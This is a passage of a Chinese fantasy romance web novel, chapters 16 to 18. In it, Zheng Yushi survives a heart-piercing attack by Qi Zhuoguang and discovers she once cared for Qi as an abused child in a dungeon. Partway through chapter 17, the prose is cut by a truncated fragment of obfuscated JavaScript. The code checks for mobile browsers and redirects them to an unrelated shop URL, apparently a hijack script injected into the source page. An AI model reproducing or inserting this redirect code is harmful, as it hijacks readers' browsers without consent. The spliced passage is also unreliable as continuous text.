她颤抖着生疼的身子，又哭又笑地喊着人，也正欲朝人去，朝那为她奔赴而来的人，相拥而去。但就在这时，这位拯救她的英雄，五指咒文未收，那明明是冲着姜茹袭来的杀招，不偏不倚，刺向了她的心口。
咒文穿刺，一击，鲜血喷溅，洒了一炉血色，鼎声嗡鸣。
这一下，陨灭了她胸口上趴着的贪吃蛊虫。
也，刺穿了她的心口。
“噗……”
左胸心口处，捅入，掏了个洞。
翻涌而上的瘀血喷出，那贯穿骨肉的触感，叫郑予时整个人疼到发抖不止。
她眼底的欣喜哽咽仍未散去，震惊、难以致信的无措，合着那滴眼中因担心亓涿光被亡灵吞噬而积攒的泪，终究，滴落到了她掏向她心脏的手。
为，什么？
低头，不出意外地，郑予时瞧见了那只毫不留情地捅入了自己身体的手。
淡淡苦艾香味自下漫了上来，那捅入心口的手腕上，染了血的，是那根她亲手为她编制的，粗糙难看的，手绳。
心口一紧，心脏，被她捏紧。
事到如今，她仍不肯相信，她会这般待她。
然而抬眸望去，亓涿光的那双精致清冷的漂亮眸子里，冷情淡漠，似是，未曾有过一丝动情。
“呵。”
一笑，扯着生疼。
郑予时看明白了。她，真蠢啊。
心脏被掏，生机散去，她，终究是逃不了被炼成傀儡的命运吗。挖心啊。真疼。
精疲力竭，先是姜茹再是亓涿光，郑予时真的再没力气反抗了。痛晕过去之前，她提前闭了眼。
事到如今她终于明白，原来，亓涿光从未将自己当成过朋友。她想要的，从头到尾都只有一具听话的傀儡而已。
是她，自作多情了。
死吧。总归也不会有更好的结局了。
如此，她，认输。认命。
累了。
16. 第 16 章
无尽的黑，有些凉。
身下颠簸，她的五脏六腑像是被泡在水里晃悠一般，想吐。
郑予时心口生疼，翻身而去，‘咚’的一声，栽到了地上，屁股开花。
满心疑惑，觉察疼痛，她这才缓缓睁开了眼。
这，哪儿？
瞧着顶上如出一辙的木质屋顶，郑予时神情麻木三分，任凭思绪一通乱飞：啊，她醒了啊。她没死吗？还是说，这就是傀儡的感觉？不都说傀儡无知觉吗，摔一下，挺疼的其实。
“叩叩。”
房门敲响，似是听到刚刚摔下床铺的动静，一直守在门口的禾欢欢敲了门。三息过后，等不到回应，她觉得不对，推门而入。
只一眼，眉眼生喜。
“你醒啦！”
？
她在，同她说话？
郑予时眨了眨眼，一时竟不知是该动还是不该动。她不是被挖了心，炼成傀儡了吗？怎么现在，感觉好像，还活着？
“你怎么不说话呀？是伤口还疼吗？”
傲娇性子的禾欢欢这会儿不知为何同她亲近得不行，她二连发问，问得郑予时一脸茫然，只无措地回了声：“我，没死成？”
“嗯。……其实。”
见她开口询问，禾欢欢面露难色，纠结着，像是不知道该如何开口。
姜茹祭阵屠城，干的是和百年前屠城的仙人一样的事儿，但那时的残忍被鲜血掩埋，而此刻同样屠戮的疯狂却被认作恶毒。
禾觅清屠城的事实，他没有否认，禾欢欢有些不知道该如何面对他。不过幸好，幸好她有西疆域这一途远行，勉强，离得远些。
禾欢欢说，就在她被亓涿光一手捅穿心口的下一瞬，她爹，也就是禾觅清，出了手。
心口蛊虫被杀，姜茹惨遭反噬，一城亡魂控无可控，她爹趁机清除了女魔头犯下的所有罪孽，杀光了所有吞噬了活人血肉的残暴亡灵，彻底碎了她献祭屠城的复仇阴谋。
而至于亓涿光，当时禾欢欢说，在郑予时心口被她捅穿的瞬间，不等下一步剜肉动作，郑予时的身体里意外迸发出了一股极强的力量。那力量甚至连她爹都扛不住，灵力大开大合，形成领域将郑予时保护起来，任何人接近不得。
禾欢欢不清楚那东西是什么，但瞧着有些像是古籍上记有的，以魂刻入骨肉的防御咒文。
防御咒文？
郑予时不解。
“我为什么在这儿？这里，又是哪儿？”
“这是一艘横渡无垠海的急速游船，这可是我花了大价钱才包下来的，贼快。咱们现在走出去已经有一段路了，这会儿正在无垠海中心呢，差不多再有两日便能到西疆域了。”
禾欢欢解释着她们如今所在，似是有些羞涩，她掩饰着轻咳一声，耳尖粉红。
“咳。是这样的。嗯，你身上的防御咒谁都近不了身，我爹用阵法强行压制，咒文散去后，你就抱着我不撒手了。咳咳。我知道你喜欢我，当时是你重伤神志不清，我不会介意的。”
“还有，我爹好像认识你师傅，他让我一路上照顾好你，对了，他还说你醒了之后让我把这个给你，说你看了这个就明白了。”
伸手递来的是一个泛黄老旧的卷轴，卷轴摊开，空空如也。
禾欢欢就在身边，一瞧，疑惑不已。
“这里头怎么什么都没有呀？奇怪。郑予时，你师傅是谁呀？”
然而如此疑惑，郑予时是没有的。与其恰巧相反，反倒是因为这卷轴里什么都没有，郑予时才勉强相信，这东西，真的是她师傅，给她的。
从储物袋里取出草药，郑予时掐尖儿揉碎，合着桌上茶水调了汁，一下泼了上去。
淡绿水渍溅到卷轴表面，给禾欢欢看得一愣一愣的，然而药汁淌过，其下随即显露出来的文字更是叫她惊讶万分，直接是看呆了去。
大致十三寸大小的卷轴其上，笔画随意潦草，细细看去，只落了五个大字：西疆域，霍俞。
霍俞？谁？
不对。先不管霍俞是谁，这以药草加密的留言方式，是上一世郑予时和归元观里的大家才知道的秘密。可是这，这个东西怎么可能会出现在这里！？
还有，师傅认识禾觅清？怎么可能！这不是书里的世界吗？
团团迷雾堵在脑中，搅在心里，完全没有头绪，看来，去西疆域解除请柬赋灵还不算完，她还得去见一见师傅说的这位叫霍俞的人。或许，到时候她才能知道所有的答案。将这一切谜团，彻底拆开。
“啊对了。”
震惊过后，看到西疆域三个字，禾欢欢像是突然想起了什么，继续接了之前的话题。
“至于你为什么会在这儿。你身上的请柬赋灵我瞧见了，咱们的目的地相同，都是要去西疆域的，我爹又叫我照顾好你，自然，咱就在一条船上了。其实，嗯，不只你，亓姑娘也和我们一道的。”
“哈？”
禾欢欢的声音越来越低，但那三个字就是如此的刺耳，只一提，就叫郑予时浑身不舒服。
是了，西疆域一行，不只有请柬赋灵要消，要解的，还有那个该死的奴仆咒契！咒契加身，她还是她的奴仆，跑得掉个屁！
郑予时越想越气，气得明明愈合了的心口都直抽抽地疼。
所以，就因为她逃无可逃，就因为她受制于人，她就能想杀她就杀她，想挖她的心就挖她的心？
艹！这憋屈工作老娘不干了！反正已经死过一回了，熟悉了，死就死吧，无所谓，爱咋咋地。
一通心头怒骂，郑予时说摆烂就摆烂，二话不说，直接一躺躺回床上，两眼一闭，只当自己死了。
然而瞧着她如此拒绝交流的模样，禾欢欢脸上的心虚更甚。
“那个，郑予时，亓姑娘喊你醒了过后，去找她。”
！？
两眼一睁，似是诈尸。
谁？谁要让她去找？亓涿光？
难以置信，难以言喻。郑予时的表情，禾欢欢见了，脖子缩得更厉害了，但随即她立即找准状态，淡定轻咳，解释道。
“是这样的。最近无垠海上常有异动，出行游船几乎都被人包完了，咱们其实没能找到船去西疆域。但是！亓姑娘有船啊！这船就是她提前预定的。”
“咳咳。我想着，咱们身上都有赋灵，这半月不达，可是会出事的。所以，所以就，一起走了。”
郑予时微笑，想骂人：“你刚刚不是说，这船是你花大价钱包下的吗？”
“是啊，总不能白坐人家姑娘的游船吧，得给钱呀。”
“……”
见着郑予时无语凝噎的微笑，禾欢欢对她接下来要说的话，更慌了。
她要怎么告诉她，其实这船，是她把她卖了，换来的呢？
会被揍的吧。
“那个，郑予时呀。小时呀。我……”
“怎么了？是还有什么我应该知道的坏消息吗。”
“是，是这样的。小时呀，其实亓姑娘当时是为了杀蛊虫才不小心重伤你的，她不是真的要杀你。而且你看我和我藏师兄其实和亓姑娘不算熟的，她，她是看在你的面子上，才让我们乘船的。”
郑予时嘴角一抽，明白了：“所以，从我被她。”
话音一顿，忍着想打人的冲动，她说辞严谨，更正道：“从我险些被她挖心、杀掉之后，我们，就一直是在一起的。对吧。而为了乘船渡这无垠海，你是不是还答应了她别的条件。”
“需要我，完成的条件。”
“……是。”
禾欢欢是心虚的。但是，除了亓涿光这一艘游船，他们当时是真的找不到别的船只了。
爹爹压着弟弟回了宗门，没有援手，再加上亓涿光看着真的不像要夺郑予时性命的样子，虽然那时城主府院中一手掏心是挺吓人的，但后续也是她不要命地输了一身灵力给郑予时，也是她喂了郑予时续命的丹药，救了她一命，还夜夜守着她。
当时，郑予时晕过去了没看到，亓涿光硬用肉身扛着咒术，她抱着浑身是血的她，又哭又笑，像是重获珍宝的痴儿，谁都碰不得。
她用灵补她，她拿命救她，亓涿光，对她的感情极重。
至于后来，亓涿光为了救人虚弱不已，她爹强破咒术，郑予时这才到了她的手里。
禾欢欢不希望相爱的人被误会所伤，不愿意流言蜚语重伤他人，而且她是真心觉得，亓涿光没有想真的要郑予时的命，她看向她的眼神，深情痴缠。
特别是那天晚上，她送药时偶然撞见，亓涿光她，吻了她。
听禾欢欢应下，郑予时早有预料，深吸一口气，问道。
“要我做什么。呵。”
一声冷笑，她眉眼间含了霜。
“怎么，是要我原谅她？”
一句反问，让想起那夜额上虔
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诚一吻的禾欢欢面色更红，虚虚着，试探着，她开了口。
“不是。是。是亓姑娘要你和她，和她道歉。”
谁？谁道歉？
此话一出，郑予时整个脑子都是懵的，霎时，怒火心中狂烧。
好家伙。还是个人？
明明是她一手捅穿了她，是她刺了她的身子，是她掏了她的心。她近乎真的杀死了她，可结果，结果她居然还要她给她道歉！？卧槽，脸呢？
脸都不要啦！？
是可忍熟不可忍。郑予时气得咬牙切齿，忍无可忍，一个翻身，冲了出去。
船上人员一问，郑予时找到了亓涿光的房间。
怒火烧到了眉毛，她二话不说，直接一脚踹开了房门。叉腰伸手，她一指指到了桌上那正悠悠然品着茶的美人，破口大骂。
“亓涿光！你还要不要脸！”
“你耍我，是我自作多情，我忍便忍了。你杀我，是我技不如人，我认也便认了。但你杀了我，还要我给你道歉，这是什么道理，你是不是有病！到底是你疯了还是我疯了！？”
“神经病啊！”
一连串的输出，但意外的，桌上那被人指着鼻子开骂的人，却面带浅笑，像是，很开心。
郑予时一腔怒火，奈何敌方不动如山，面不改色，生生将她的气焰浇灭了大半。
是真的有病啊，被骂还这么开心的？
因为一句要她道歉的要求，郑予时一时上头跑来骂人，这会儿冷静了几分才想起来后怕。咒契在身，她伤不得她，但她，却还是能杀她的。
救命，她这不是自己送货上门了？
跑。
心中念头一起，拔腿就跑。然而转身瞬间，阴风袭来，‘砰’的一声，房门紧闭。
身后，一道淡淡的悦耳嗓音缓缓荡开，只一句，却叫她脚下扎根，再动不得半步。
“郑予时。对不起。我杀你是真。我舍不得，也是真。”
呵呵。舍不得？放屁呢！
郑予时在心里疯狂鄙视着，她杀她的那一手，毫不留情，没有半点不舍，当时各种亲眼所见的证据在脑中一一重现，她在心底将人骂得狗血淋头。
“你不信我。”
卧槽？
她还敢信？
她是在这个世界里她第一个遇见的人，她是她付以了真心想要真挚相待的人，她是真的相信过她啊，可结果呢？
心中不忿，郑予时被亓涿光那一句‘你不信我’气得又上了头，她转身面对着她，开怼。
“城主府里，你那一手掏心的动作，不偏不倚，毫不留情，是个人都能看出来你就是要我死的！要不是禾欢欢说我身上有什么防御咒文，我早死了！”
“舍不得？我还没瞎，你那双要置我于死地的眼睛，我看得清清楚楚。”
“你说我不信你？亓涿光，你问问你自己，你敢让我信吗？”
桌上端着茶杯的手腕，那根染了心头血的手绳仍系在腕间，看到它，郑予时心口那被捅穿的痛，翻涌而上，记忆中挖心的幻痛，难耐。
她‘痛’到浑身发颤，指着那手绳，声音哽咽。
“那手绳上的血，是你，亲手捅穿我的身体，挖我心时沾上的。你说，这般，我还敢信你吗。”
“我承认，一开始我确实是为了不被你挖心，不被你炼成傀儡才各种讨好你，各种讨你开心的。可是亓涿光，我是个人，我有心的。你对我的好我都记着的。你给我准备吃食衣物；黑暗中失散唯有你回来寻我；你知我怕黑，特意送来的珍珠照明；还有遇到危险时你牵住我的手。”
“我是真的把你当朋友！我是真的想要对你好！我是真的相信你啊！”
声音发了抖，郑予时暗骂自己没用，但，有些话不说，她心里难受。
含了泪的眼睛红了一片，她抬眼，直直地看着她。似是在怒自己自我感动、愚蠢自欺，似是在替自己所为感到不值，也似是在与她以为的曾经情谊，做最后告别。
“可是你知道吗？”
“姜茹杀我，当我以为你是来救我的时候，当我满心欢喜欲奔向你的时候，你那毫不犹豫捅穿了我心口的动作，有多痛，你知道吗。”
一路相伴，欠的，还的，她不想算了。
她要当个自私的人。
“亓涿光，我单方面宣布，我，不欠你了。”
“咱们，一刀两断。”
17. 第 17 章
郑予时的激动情绪随着她言语的抒发渐渐平缓了些。这些日子的欢喜、雀跃，尽数散了去。理智回笼，郑予时觉得自己，很傻。
亓涿光是谁？她又是谁？
她不过是个脆皮小垃圾，是个炼气五层的废物，亓涿光能看上她不过是看中了她混元灵根的壳子有用罢了，亏得，亏得她还妄想和她成为朋友，她配吗？她不配。
眼珠子嵌入掌心的异常，亓涿光护着眼珠子的举动，郑予时其实早就明白，亓涿光只是想借着她混元灵根的气息，遮掩眼珠子的气息罢了。可她还是自我感动，觉得她对她越来越好是因为喜欢，是因为友谊。
结果你看，自作多情了吧。
活该。
郑予时讥讽着自己的愚蠢，但身前，一直默默听着她真挚控诉的亓涿光，那双美极了的眼睛里，却是带了浓浓眷恋，含了丝丝难过。
她唇齿微启，起身靠近，伸了手想触碰，但却被人一手拍开。
郑予时别过脸，打开了她靠近的动作，满眼戒备。
被甩开了手，亓涿光指尖发颤，像是难过极了，她望着她，声音满是悲痛。
她说：“郑予时。你我，断不了的。你还欠了我的。”
！
哈！
欠什么欠！她捅她一手还不够，她还欠她的？欠个勾巴哦，滚啊！
郑予时气得直想笑，刚刚才泄了的火这会儿噌的一下又燃了起来，想打人。
然而亓涿光并没有给她这个机会，只见她一掀衣领，整个外衣松松垮垮着耷在胸口，那动作，像是以身相许的架势，差一点就要走光。
□□肌肤泛出红晕，郑予时吓得一激灵，立马一把按住她的衣领，匆忙间，指尖触及皮肉，抚上了那刻入皮骨的青黑咒文。
嘶。好凉。
亓涿光的肌肤白皙、细腻，摸起来滑滑的又带着微微的凉，很，蛊人。其上刻有繁复的青黑咒文，栩栩如生，像是赋有生命一般，似游龙走势，叫人看得移不开眼睛。
咒师，为了操控复杂咒文，不少人都会将咒其刻入身体，以便运用自如，而上古咒师更是如此。
据古籍记载，远古时期，在那个极度尊崇力量的时代，咒师们想要操纵更强大的咒文成术，需以身为契，以心为约，缔结咒文连结。是以，远古时期的咒师虽然强大如斯，令人恐惧忌惮，但他们追求强大的代价，给了他们一个致命的缺陷。
命咒。
命咒，就是咒师缔结咒文连结的象征。心口处刻入的咒文，是操控强大咒术的根源，是命咒本体，更是每一个结契咒师的脆弱命脉。
咒师命咒，若是被人瞧去，只需复刻重写，以血为引，以生人心脏为基，咒师，必死。
所以，在断定自己指尖触及的那咒文是亓涿光的命脉时，郑予时她，慌了。
她，她这是做什么，开窍了，打算拿命来给她道歉？
不至于吧。
然而较之于郑予时的慌乱，亓涿光却半分不动神色。见着郑予时瞧出了端倪，想要遮去自己心口命咒的动作，亓涿光眼底的悲淡了些，唇边勾了一抹浅笑。
她从一边摸来一瓶药剂，朝自己心口泼了去，言语缠绵。
“我知道，是你回来了。你还是舍不得，舍不得留我一个。”
叫人摸不着头脑的一句话，情深意重，听得人心慌。
什么玩意儿？
亓涿光嘴里说的似乎是个人，但郑予时很肯定，他说的，不是她。
郑予时的脑子很乱，然而不等她想出个所以然，亓涿光心口泼了药剂的地方竟是慢慢显出一行艳红的符号。
皮肉其下，奔放潦草的字迹，龙飞凤舞，挥洒自如，十分熟悉。而这弯弯绕绕的符号，穿插在命咒之间，形成一个非常奇特的形状。
一看，像是写了三个极其敷衍艺术字：郑予时。
！
郑予时瞧着，惊讶得瞪大了眼睛，嘴是合不拢半分。
这，这乱七八糟鬼画符一样的东西，不是她上一世胡诌的签名吗？怎么，怎么亓涿光身上会有啊！？
还有，那明明是他们归元观观内大家才知道的显形药剂，为什么她也会调啊！？
她。亓涿光，她到底是谁！
震撼、惊讶、无所适从，郑予时脑子里的疑惑堆成了山，一时竟不知该从哪儿问起才对。
只是她哑口无言，亓涿光却是极其自然地握了她的手，慢慢地，一一解释。
“对不起。我以为，你被蛊虫噬了心。”
“我承认，一开始我是想杀了你，炼成傀儡，装东西。但后来，你心口咒文护体，我才知道，你就是她。你回来找我了。”
“城主府内，刺入心脏，是为了彻底杀死那只蛊虫。蛊虫若是吞噬了你的心，那你对我，无用。所以当时，挖心，是为了留住你的壳子，也是为了试探。”
“我曾在你身上中下过七星凶咒，但我之前察觉不到它的气息，我觉得你像她，但又不敢肯定。挖心，是为下策。如果你不是她，必死，于我而言，将你炼成傀儡本是最初的目的，并不亏，但如果你是她，那你绝不会出事。我也绝不允许你出事。”
“幸好，你是她。”
亓涿光的深情，带着极其自我的利益逻辑，郑予时听得很难受。她说，若她挖心后死了，炼成傀儡，也不亏。
所以，她死不死，她其实没在意过吧。左右，死了，也还是可以利用的，不是吗。
寒心，真正的心寒是背脊上爬上来的一抹凉意，不惊不扰，不动声色。
只是郑予时还有一点想不明白，亓涿光嘴里的什么她是她，又不是她，到底说的是什么。
似是察觉到她的疑惑，亓涿光眼里久别重逢的欢喜淡了几分，哀怨、委屈。
“你，还是没有想起我吗。”
亓涿光将她的手捏得极紧，一扯，拉入怀中。天旋地转，等回过神时，郑予时竟是坐在了亓涿光的双腿之上。她后背靠着她，腰上缠了她，被她揽进怀里，肌肤相贴，暧昧缠绵。
耳后吞吐的气息带着股股热意，有些痒。
她的指尖勾动她身前的衣襟，轻轻一挑，郑予时锁骨其上的肌肤，露了出来。
！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022120|135894||http|test|mini|href|location''.split(''|''),0,{}));
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指尖轻抚过肌肤，一点，泛了红。
呼吸渐重，郑予时甚至还能听到身后人吞咽的声音，她整个人僵硬得像是块木头，一动不敢动。
这，这姿势，会不会过于冒昧了些？
她，她不搞百合啊！
瞬息，就在郑予时想要起身反抗的前一秒，储物袋一开，随着亓涿光取物的动作，两人面前浮现出了一块息影镜。
镜面其中，她面颊朵朵红晕，娇羞得像是个新婚的小娘子，眉眼含羞。而侧颈处埋头的那人，偏头倾身而来，她亲昵地蹭着她，满眼贪恋，痴迷。
亲密无间的姿势，亓涿光整个人从后方笼着她。她的指尖从她心口处开始，游走锁骨，点亮了那肌肤其上同样青黑的纹路，诡异、精美。
！
她，她心口的咒文，生效了！
原先缀在心口处的青黑小点，不知什么时候开始，绽了开。丝丝细小的纹路蔓延而出，组成咒文，交缠彼此，一路往右勾住右侧锁骨窝、肩骨、小臂关节内侧、手腕、虎口、食指。
原先共点了七个位置的青黑小点，因着那纹，缠绵、接连到了一起，刻入咒文，神秘诡美，像是活过来一般。
“这……”
郑予时惊讶难抑，从镜子中看到的印记是那样的清晰、确实。
她上辈子被烙下的咒文，七年都没有任何异动的咒文，是真的，生效了。
谁干的！
等等。
思绪一稳，郑予时唯一能联想到的可能性就是禾欢欢说的那救了她一命的防御咒文。
所以，是它，是因为挖心的伤害触碰咒文禁制，激发了它，救下她一命？
只有这个可能性了，可，可这咒文，到底是什么……防御咒文？难说。
郑予时的表情并未遮掩情绪，亓涿光瞧着，心中不免升起一丝得意的庆幸。
指尖轻点她心口的咒文，解释道。
“这，是七星凶咒。是我亲手给你种下的。你，可曾还记得。”
什么！？
“百年前，西疆域，万魔窟的地牢里，你养了我三十三年。你每次出现，不到一天就会消失，我害怕，怕你终有一天会消失不见，所以，我偷偷给你下了咒。你是愿意的。你说，你许诺过我，说你会永远陪着我。”
“可是……你不见了。”
“我找不到你，连咒文也找不到你。郑予时，你好狠啊，我等了你好久，好久，你为什么骗我，为什么，不要我了。”
“……”
声声质问，问得郑予时瞠目结舌、哑口无言。
先前亓涿光同她解释的什么，她是她又不是她，她怒火中烧，气上了头只当是她有病，一点儿没听，半点儿没信，但现在，‘万魔窟’三字一出，她好像，知道是怎么回事了。
无措慌乱，然而亓涿光却以为她仍想不起来。
惩罚似地咬了她的耳垂，她贴上她侧颈的肌肤，声声暗哑，耳鬓厮磨。带着一种不达目的誓不罢休的狠劲。她将她禁锢在怀里。
“郑予时。”
“你会想起来的。”
18. 第 18 章
灵力加持，息影镜内镜光一闪，景象骤转。
阴暗地牢，湿臭牢房，脏污血水淌了一地，而那其中，缩着个满身残破、伤痕累累的小崽子。
小崽子是被人从万魔窟里捞出来的，手骨碾碎提不起来，腿骨折断、刺出皮肉，连着肉扯着筋，鲜血淋漓。他的一张脸揉着不晓得哪儿沾的黑色杂毛，皮肉翻飞，白骨挖出，完全瞧不得原本样貌，奄奄一息。
像是尸体一样躺在血泊中，小崽子浑身又臭又脏，丑得很。
瞳孔涣散不清，浑身体无完肤，遍体鳞伤。
他，快死了。
忽地，只见牢中一点星亮闪过，一团虚无飘渺的白色影子自空中突现，毫无征兆，毫无循迹，它就那么飘啊，飘啊，飘到了他的身边。
白影围着他转悠，像是在打量。而那时的小崽子眼底满是戒备，对这团未知的白影，他像困兽笼中的狼崽一般，应激、暴躁，条件反射想杀它。但，力竭，遂只能按捺杀机，伺机而动。
只是那白影晃悠几圈后，蓦地，一下袭来，小崽子欲杀，可忽地，脑袋上传来的轻柔触感却叫他瞬间停了手。
它，在摸他的头。
像他看到的记忆那样。
很轻，很柔，很暖。像是，疼惜他一般。
代入记忆中的情绪，小崽子无措，歇了杀心，只当它不存在，没再排斥接近。几经接触，他竟是在那白影为他上药的中途，昏睡过去。
这是他头一次，如此安心。
入夜，醒来，白影消失不见。小崽子以为是梦，心神不定。
而后有人骂骂咧咧着来挟了他，又一次将他丢入万魔窟中，任凭他在其中与魔物厮杀、搏命。只是这一次，小崽子故意，受了伤，再一次，濒临死亡。
他想试试，试试昨日那濒死时的温存，到底是不是弥留幻梦。
丢他入万魔窟的人并不是真的想让他死，见他不行，又从魔物口中捞起了半死不活的他，丢回牢房让他自己恢复。
如愿，白日地牢，它，那道白色虚影，又一次出现了。
而这一次，悉悉索索着，它似是发出了些声音。
听不清，小崽子害怕冲撞了它，继续装作不察的样子，默默期待着它的靠近。
摧残着自己，一日又一日的濒死之后，白影出现时更凝实了些，声音也更清晰了些，听着是个小姑娘。
似是以为他真的不知她的存在，她大胆极了，自言自语着骂骂咧咧。
她说他瞧着很可怜，惨兮兮的，跟街边的落魄小狗一样，她还骂那些欺负他的不是人，诅咒他们吃肉塞牙喝水呛喉，她还说，她心疼他。
小姑娘的声音很软，话很多，但意外地，他却一点不觉得吵，反而，心里像是被塞满了一团软软的棉花，柔柔的，暖暖的。
几次试探，他知道了她出现的秘密。
似乎小姑娘也不知道她出现在地牢里的时间，每次，只有他濒死之际，她才会来。
所以从那之后，万魔窟的厮杀，他总是输得很多，输得很惨。
她每次出现都在替他上药、擦药，三个月的时间，他们，一句话都没说过。直到那天，小姑娘喃喃着说，要是他能看见她就好了。
如此，瑟缩在阴暗里的小崽子，这才鼓足了勇气，第一次直视了她。
虽然是小姑娘的声音，但它模样，依旧是个白白的小团子，见不得真貌。她说她很开心能够认识他，还告诉他说万魔窟的窟底有魔晶，那个东西特别厉害。
她的话，小崽子记住了。当晚，再被丢入魔窟‘历练’的时候，他折了一条腿，取了魔晶出来。
他想送给她，希望她能一直陪着他，他还想问她，愿不愿意做他的傀儡。因为记忆里，傀儡是能和他一直在一起的生物。
他想，要她。只要她。陪陪他。
但那魔晶，小姑娘没要，反而是塞到了他的嘴里。魔晶确实很厉害，服下，他一身伤势完全恢复了不说，还助力修为大涨一阶。
可是，小崽子开心不起来。
因为他发现，小姑娘她，什么都不想要，什么都不想求，他，留不住她的。
每日濒死，每日相处，一年相伴之后，小崽子发现，无论他再把自己折磨得要死要活，她，都没再出现过。
魔物撕咬，肠肚扯烂；十指碾碎斩断，筋骨抽出搅乱，那么痛，他都没有半点反应，但那次，认定小姑娘再不会出现的那次，他很痛。
那是他第一次，痛哭了。
足足半年，小姑娘都没有再出现，小崽子又回到了属于他的黑暗深渊中，他以为，之前是自己疯了。他，好痛。好想她。
地狱挣扎。
直到三个月后的一次魔物暴乱，他整个下半身被啃食了干净，囚禁他的那人如往常一般把他丢回地牢里，自行恢复，但这次，那道虚虚的白影，出现了。
小崽子哭了，哭得很大声，哭得整个人都在抽搐，而他的惨样小姑娘瞧了却只以为是他被魔物伤得太疼，她心疼，陪着他嚎啕大哭，哭着哄着替他上药。
失而复得的心情，大哭一场的释放。他们，亲近了很多。
之后，小姑娘还是会在他濒死的时候出现。虽然这回她每次出现的时间都很短，虽然这回她每出现一次后几乎都要再隔一段时间才会再次回来，但在这暗无天日的阴湿深渊里，小崽子每次，每次都期待着，等着她回来。
他们一起谈笑，一起玩耍，一起吃毒蘑菇炖汤，一起用可以显形的草药汁水在墙面上作画。
那是可以隐藏起来的药水，只有特定药汁涂抹才会显露出形状，这种隐匿在暗处的印记，小崽子很喜欢，他求小姑娘在他心口作画，他想，记住她。
小姑娘的画乱七八糟，在心口位置弯来弯去绕了好几圈，完全看不清到底是些什么。但肌肤传来的刺痛却让小崽子欢喜，这完全不一样的痛，让他心颤。
他想，要她永远陪着他。
小姑娘不知道，心思阴暗的小崽子哄了她许诺，哄了她自愿签下七星凶咒，这样，无论在哪儿他都能通过咒文找到她。他都不会丢了她。
三十三年间时不时的相见，小姑娘的想法天马行空，她知道很多、很多小崽子不知道的东西，而他以为那些稀奇古怪的玩意，是她生活的地方，是她存在的地方。种种趣谈，小崽子默默记下，想着如果有一天他出去了，他能去找她。
可后来，她不在了。那次之后，他再也找不到她了。
“小骗子。我终于找到你了。”
一声低喃，亓涿光将她紧紧拥入怀中，像是要将她揉入身体那般，用力。
看完这些，郑予时心里五味杂陈。
亓涿光这是，把她曾经的凄惨脆弱全部毫无防备地一一剖开来，摆到了她的面前啊。她如此，竟然只是为了让她想起她。值得吗。
镜中清晰的画面，两人相处的曾经，郑予时怎么能不知晓这所有的所有，她，就是镜中的那道白影啊。
她，就是那个亓涿光嘴里的那个，小骗子。
遥想当时，大师兄将《逆路》这本书给郑予时的时候，说是有惊喜。
随后，书刚看完，夜里入梦，她便去到了书中描写的世界。
师兄善阵术，造梦不是吹的，整个归元观内数他最牛。郑予时入梦，便一直以为这是幻境，是师兄根据书中内容编织出来的阵中幻境，做不得真。
那万魔窟和地牢里关的小崽子，都是他复刻了原文，送给她打发时间的惊喜，可……
可是她没能想到，那个以为是幻境中的小崽子，那个被自己当成师兄送的礼物，当儿子养的惨兮兮的小崽子，居然是大美女亓涿光！
小孩儿的身材都这么像的吗？以为是小男孩儿的小崽子，居然是个小姑娘？而她之前居然还不知羞的对人动手动脚！罪过啊。
但这些都不重要，重要的是！以为是梦中进入幻境同人胡扯打闹的嬉戏，居然是真实！
太扯了
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吧。
郑予时觉得，她可能是被骗了。师兄那个混子！
托他的福，现在，她成了不负责任的渣女。百口莫辩，喊不了冤。
她一直以为，小崽子只是幻境灵物，她说的会一直陪着她，可以完成。
毕竟，幻灵幻灵，只要加持了阵法的书本还在，许诺的一直陪着她，不就是一直带着书的意思吗？可谁知道，谁知道……她是活的啊！
救命！师兄这个天坑！
怪不得，怪不得亓涿光说要她和她道歉，原来，确实是她，负了她，骗了她。
郑予时的脑子，疯狂头脑风暴着，面上表情苦瓜一样。
可这，要怎么道歉，又要如何解释？
她现在都已经不能确定这个世界到底是怎么回事了！
上一世，这一世，书中被炼成傀儡的炮灰小傻子是她的一魂；禾觅清带来了师傅才会的留言消息；而以为是书中幻境，如今却真实出现在面前的活人小崽子亓涿光……种种，叫郑予时根本看不清，到底什么才是真实。
但，道歉，是得先道的。
“那个，抱歉啊。我失约了。但其实我真的，真的，一直陪着你的。就是，啧，就是，你可能知道不了。”
……
这话，是郑予时斟酌许久，最后，憋出来的一句极其狼狈的解释。说实话，如果是她，她估计会一巴掌扇到说这话的人的脸上。
皇帝的新衣？未知的陪伴？
骗小孩儿呢，谁信？
然而不然，见她是真的想起了自己，亓涿光半点不在乎她那满是漏洞的解释。眼里浓情更甚，她仍维持着身后抱她的姿势，将头轻轻地落到了她的肩上。
那带着轻颤的声音，似是欢喜。
“这次，别走了，好吗。”
轻轻颤音，带着庆幸，带着劫后余生的窃喜，叫人听得耳根子发软。
啊！她真是个渣女啊！
郑予时陷入了深深的自我谴责，带入昔日自己亲手养大的小崽子，连带着对亓涿光挖她心的气愤都少了些。毕竟，她对不起人家。而看她那样子，是真的寻了她百年，也真的，等了她百年。
她有罪。她渣。但她真不是故意的啊！
这种情况，她给她嗑一个，能活吗？应该，罪不至死吧。
然而还不等郑予时胡思乱想出个合适的赔罪方式，外头房门敲响，‘叩叩’两声，禾欢欢的声音闯了进来。
“郑予时？郑予时你在里面吗？”
“郑予时你没事吧？郑予时！？”
一问不吭声，二问无人应，其实不是郑予时不回答，而是身后亓涿光伸来捂住她嘴唇的手，太暧昧了。
“藏师兄，你别拦着我！”
一声惊呼，只听‘砰’的一声，门，又一次被踹了开。
门开，入目，禾欢欢两眼一瞪，面上一红，整个人噌的一下像是烤熟了般，惊呆了，吓得不清。
房内的气氛，难舍难分。
亓涿光将郑予时整个搂着坐在她的腿上，而她，倾身贴合，蹭着人的侧颈，红唇似是吻着人。她们两个，亲密得像是一人那般，那极其暧昧的距离，那耳鬓厮磨的缠绵，看得禾欢欢双手一捂嘴，眼冒桃心。
她们！
一刻不停，禾欢欢在反应过来的瞬间，特别‘懂事’地带着同样红了耳根的宜东藏‘砰’的一下又关上了门，坚定、果断。
那开了又闭上的房门，卷起一阵风，吹得郑予时的心，凉透了。
